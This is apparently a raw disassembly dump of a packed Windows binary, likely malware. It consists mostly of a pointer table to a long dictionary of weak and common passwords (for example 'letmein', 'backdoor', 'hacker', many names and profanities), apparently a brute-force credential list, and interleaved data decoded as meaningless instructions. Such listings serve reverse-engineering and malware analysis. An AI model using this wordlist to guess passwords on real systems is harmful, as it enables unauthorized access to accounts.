		inc	ebx
		add	[eax-36h], ch
		inc	ebx
		add	[edx+ecx*8+43h], dh
		add	[edx+ecx*8+43h], bh
		add	[eax-77FFBC36h], al
		retf	43h
; ---------------------------------------------------------------------------
		dd offset aPat		; "pat"
; ---------------------------------------------------------------------------
		xchg	eax, esp
		retf	43h
; ---------------------------------------------------------------------------
		cwde
		retf	43h
; ---------------------------------------------------------------------------
		pushf
		retf	43h
; ---------------------------------------------------------------------------
		movsb
		retf	43h
; ---------------------------------------------------------------------------
		lodsb
		retf	43h
; ---------------------------------------------------------------------------
		mov	ah, 0CAh
		inc	ebx
		add	al, al
		retf	43h
; ---------------------------------------------------------------------------
		dd offset a0wned	; "0wned"
; ---------------------------------------------------------------------------
		aam	0CAh
		inc	ebx
		add	ah, bl
		retf	43h
; ---------------------------------------------------------------------------
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
; ---------------------------------------------------------------------------
		cld
		retf	43h
; ---------------------------------------------------------------------------
		dd offset aAaa_0	; "aaa"
; ---------------------------------------------------------------------------
		add	al, 0CBh
		inc	ebx
		add	[eax], cl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax], dl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[ebx+ecx*8], dl
		inc	ebx
		add	[eax], bl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax], ah
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax], ch
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax], dh
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax], bh
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[eax-35h], al
		inc	ebx
		add	[eax-35h], cl
		inc	ebx
		add	[eax-35h], dl
		inc	ebx
		add	[ebx+ecx*8+43h], dl
		add	[ebx+ecx*8+43h], bl
		add	[ebx+ecx*8+43h], ah
		add	[ebx+ecx*8+43h], ch
		add	[eax-35h], bh
		inc	ebx
		add	[eax-77FFBC35h], al
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	[ebx+ecx*8-3467FFBDh], dl
		inc	ebx
		add	[ebx+ecx*8-345BFFBDh], bl
		inc	ebx
		add	[ebx+ecx*8-344BFFBDh], ch
		inc	ebx
		add	[ebx+ecx*8-343BFFBDh], bh
		inc	ebx
		add	ah, cl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, bl
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, ah
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, ch
		retf
; ---------------------------------------------------------------------------
		inc	ebx
		add	al, dh
		retf
; ---------------------------------------------------------------------------
		db  43h	; C
		db    0
		db 0F8h	; ø
		db 0CBh	; Ë
		dw 43h
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_4	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_43CC70	; "x"
		dd offset aXx_1		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset a0		; "0"
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept_0	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction_0	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases_0	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica_0	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril_0	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat		; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect_0	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue_0	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault_0	; "default"
		dd offset aDefault_1	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
; ---------------------------------------------------------------------------
		add	al, 0D9h
		inc	ebx
		add	[eax], dl
		fld	dword ptr [ebx+0]
		sbb	cl, bl
		inc	ebx


loc_43AA4F:				; CODE XREF: .nsp0:0043AA74j
		add	[eax], ah
		fld	dword ptr [ebx+0]
		sub	al, 0D9h
		inc	ebx
		add	[eax], bh
		fld	dword ptr [ebx+0]
		inc	esp
		fld	dword ptr [ebx+0]
		dec	esp
		fld	dword ptr [ebx+0]
		pop	eax
		fld	dword ptr [ebx+0]
		pusha
		fld	dword ptr [ebx+0]
		push	700043D9h
		fld	dword ptr [ebx+0]
		js	short loc_43AA4F
		inc	ebx
		add	[eax-77FFBC27h], al
		fld	dword ptr [ebx+0]
		nop
		fld	dword ptr [ebx+0]
		cwde
		fld	dword ptr [ebx+0]
		movsb
		fld	dword ptr [ebx+0]
		mov	al, 0D9h
		inc	ebx
		add	[eax-3FFFBC27h], bh
		fld	dword ptr [ebx+0]
		enter	43D9h, 0
		aam	0D9h
		inc	ebx
		add	ah, bl
		fld	dword ptr [ebx+0]
; ---------------------------------------------------------------------------
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail_0	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland_0	; "england"
		dd offset aEnglish_0	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile_0	; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance_0	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree_0	; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench_0	; "french"
		dd offset aFriday_0	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
; ---------------------------------------------------------------------------
		and	dh, bl
		inc	ebx
		add	[eax], ch
		fiadd	word ptr [ebx+0]


loc_43AC98:				; CODE XREF: .nsp0:0043ACB8j
		xor	dh, bl
		inc	ebx
		add	[eax], bh
		fiadd	word ptr [ebx+0]
		inc	eax
		fiadd	word ptr [ebx+0]
		dec	eax
		fiadd	word ptr [ebx+0]
		push	esp
		fiadd	word ptr [ebx+0]
		pusha
		fiadd	word ptr [ebx+0]
		push	700043DEh
		fiadd	word ptr [ebx+0]
		js	short loc_43AC98
		inc	ebx
		add	[esi+ebx*8-2173FFBDh], al
		inc	ebx
		add	[eax-5FFFBC22h], bl
		fiadd	word ptr [ebx+0]
		test	al, 0DEh
		inc	ebx
		add	[eax-47FFBC22h], dh
		fiadd	word ptr [ebx+0]
; ---------------------------------------------------------------------------
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune_0	; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill_0	; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
